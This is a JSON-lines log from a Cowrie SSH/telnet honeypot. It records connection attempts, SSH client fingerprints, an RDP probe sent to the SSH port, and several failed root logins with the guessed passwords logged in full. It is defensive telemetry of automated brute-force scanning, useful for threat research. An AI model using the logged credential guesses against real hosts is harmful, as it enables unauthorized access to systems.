{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:54.227760Z","src_ip":"201.249.192.30","session":"6ab9ab52fd31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:55.315781Z","src_ip":"201.249.192.30","session":"6ab9ab52fd31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.54412269592285,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:55.556623Z","src_ip":"192.119.13.58","session":"ad2d328474bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60170,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1294d31b8e8","protocol":"ssh","message":"New connection: 62.133.62.83:60170 (159.203.135.109:22) [session: a1294d31b8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:57.636696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:57.642016Z","src_ip":"62.133.62.83","session":"a1294d31b8e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:57.727407Z","src_ip":"62.133.62.83","session":"a1294d31b8e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanya","message":"login attempt [root/sanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:57.984961Z","src_ip":"62.133.62.83","session":"a1294d31b8e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.855629444122314,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:58.034307Z","src_ip":"192.119.13.58","session":"ec17278b7ed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:59.075463Z","src_ip":"62.133.62.83","session":"a1294d31b8e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44876,"dst_ip":"10.17.0.5","dst_port":23,"session":"37bd643853d9","protocol":"telnet","message":"New connection: 192.119.13.58:44876 (10.17.0.5:23) [session: 37bd643853d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:59.528913Z"}
{"eventid":"cowrie.session.closed","duration":43.72640132904053,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:01.283134Z","src_ip":"192.119.13.58","session":"95c6c88ba526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35630,"dst_ip":"10.17.0.5","dst_port":23,"session":"9149c4adfff1","protocol":"telnet","message":"New connection: 192.119.13.58:35630 (10.17.0.5:23) [session: 9149c4adfff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:03.965665Z"}
{"eventid":"cowrie.session.closed","duration":38.87661170959473,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:03.972217Z","src_ip":"192.119.13.58","session":"1cf6e9920cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":39126,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b71b01af250","protocol":"ssh","message":"New connection: 193.39.208.26:39126 (10.17.0.5:22) [session: 4b71b01af250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:04.819507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:04.825467Z","src_ip":"193.39.208.26","session":"4b71b01af250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39464,"dst_ip":"10.17.0.5","dst_port":23,"session":"3be8673378df","protocol":"telnet","message":"New connection: 192.119.13.58:39464 (10.17.0.5:23) [session: 3be8673378df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:04.886930Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:04.913327Z","src_ip":"193.39.208.26","session":"4b71b01af250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13434147834778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:05.153601Z","src_ip":"192.119.13.58","session":"9bb0b1d4c142","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tokyo","message":"login attempt [root/tokyo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:05.290935Z","src_ip":"193.39.208.26","session":"4b71b01af250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:06.382266Z","src_ip":"193.39.208.26","session":"4b71b01af250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54316,"dst_ip":"10.17.0.5","dst_port":23,"session":"75da556d16c5","protocol":"telnet","message":"New connection: 192.119.13.58:54316 (10.17.0.5:23) [session: 75da556d16c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:08.380462Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39834,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c692fab4030","protocol":"telnet","message":"New connection: 192.119.13.58:39834 (10.17.0.5:23) [session: 0c692fab4030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:11.895714Z"}
{"eventid":"cowrie.session.closed","duration":37.456454277038574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:17.011693Z","src_ip":"192.119.13.58","session":"335470b87f18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":42386,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e8afd8af0e","protocol":"ssh","message":"New connection: 45.78.204.254:42386 (10.17.0.5:22) [session: d8e8afd8af0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:17.359936Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37980,"dst_ip":"10.17.0.5","dst_port":23,"session":"8193e9dd5dae","protocol":"telnet","message":"New connection: 192.119.13.58:37980 (10.17.0.5:23) [session: 8193e9dd5dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:19.667588Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49948,"dst_ip":"10.17.0.5","dst_port":23,"session":"d082fd2284ef","protocol":"telnet","message":"New connection: 192.119.13.58:49948 (10.17.0.5:23) [session: d082fd2284ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:21.479503Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45890,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7add403c3f6","protocol":"telnet","message":"New connection: 192.119.13.58:45890 (10.17.0.5:23) [session: b7add403c3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:21.522679Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":34590,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d11e2341830","protocol":"ssh","message":"New connection: 103.164.9.74:34590 (10.17.0.5:22) [session: 1d11e2341830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:22.207208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:22.211937Z","src_ip":"103.164.9.74","session":"1d11e2341830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:22.411208Z","src_ip":"103.164.9.74","session":"1d11e2341830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":40036,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b542237f3d","protocol":"ssh","message":"New connection: 103.173.227.57:40036 (159.203.135.109:22) [session: 40b542237f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:22.617158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:22.622090Z","src_ip":"103.173.227.57","session":"40b542237f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:22.861107Z","src_ip":"103.173.227.57","session":"40b542237f3d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:23.205010Z","src_ip":"45.78.204.254","session":"d8e8afd8af0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:23.209190Z","src_ip":"45.78.204.254","session":"d8e8afd8af0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devel0p3r","message":"login attempt [root/devel0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:23.226701Z","src_ip":"103.164.9.74","session":"1d11e2341830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22334455","message":"login attempt [root/22334455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:23.564008Z","src_ip":"103.173.227.57","session":"40b542237f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"028b8b8694cc","protocol":"telnet","message":"New connection: 192.119.13.58:59248 (10.17.0.5:23) [session: 028b8b8694cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:23.831478Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:24.424860Z","src_ip":"103.164.9.74","session":"1d11e2341830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:24.803072Z","src_ip":"103.173.227.57","session":"40b542237f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123..","message":"login attempt [root/Abc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:24.832022Z","src_ip":"45.78.204.254","session":"d8e8afd8af0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.82122611999512,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:25.065148Z","src_ip":"192.119.13.58","session":"3d5b7cde6901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:26.075446Z","src_ip":"45.78.204.254","session":"d8e8afd8af0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48526,"dst_ip":"10.17.0.5","dst_port":23,"session":"217109d43397","protocol":"telnet","message":"New connection: 192.119.13.58:48526 (10.17.0.5:23) [session: 217109d43397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:27.883230Z"}
{"eventid":"cowrie.session.closed","duration":38.966984033584595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:28.448469Z","src_ip":"192.119.13.58","session":"c6a458917a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51204,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d7cc746e1b","protocol":"telnet","message":"New connection: 192.119.13.58:51204 (10.17.0.5:23) [session: b2d7cc746e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:28.518229Z"}
{"eventid":"cowrie.session.closed","duration":44.622148275375366,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:29.860353Z","src_ip":"192.119.13.58","session":"d8af794f6ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"c74b862bba15","protocol":"telnet","message":"New connection: 192.119.13.58:41714 (10.17.0.5:23) [session: c74b862bba15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:33.060487Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43614,"dst_ip":"10.17.0.5","dst_port":23,"session":"25feb2ecf376","protocol":"telnet","message":"New connection: 192.119.13.58:43614 (10.17.0.5:23) [session: 25feb2ecf376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:33.534792Z"}
{"eventid":"cowrie.session.closed","duration":37.22652196884155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:36.755290Z","src_ip":"192.119.13.58","session":"37bd643853d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36786,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcdc3e2b8010","protocol":"telnet","message":"New connection: 192.119.13.58:36786 (10.17.0.5:23) [session: bcdc3e2b8010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:37.613523Z"}
{"eventid":"cowrie.session.closed","duration":34.16502261161804,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:39.051831Z","src_ip":"192.119.13.58","session":"3be8673378df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"7419ab8860a1","protocol":"telnet","message":"New connection: 192.119.13.58:47824 (10.17.0.5:23) [session: 7419ab8860a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:39.785451Z"}
{"eventid":"cowrie.session.closed","duration":38.40619778633118,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:42.371733Z","src_ip":"192.119.13.58","session":"9149c4adfff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59959,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b1e78a50634","protocol":"ssh","message":"New connection: 167.172.81.52:59959 (10.17.0.5:22) [session: 3b1e78a50634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:43.440606Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:43.444931Z","src_ip":"167.172.81.52","session":"3b1e78a50634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:43.447862Z","src_ip":"167.172.81.52","session":"3b1e78a50634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52356,"dst_ip":"10.17.0.5","dst_port":23,"session":"53e7ba08328d","protocol":"telnet","message":"New connection: 192.119.13.58:52356 (10.17.0.5:23) [session: 53e7ba08328d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:45.898731Z"}
{"eventid":"cowrie.session.closed","duration":0.0050694942474365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:45.903673Z","src_ip":"192.119.13.58","session":"53e7ba08328d","protocol":"telnet"}
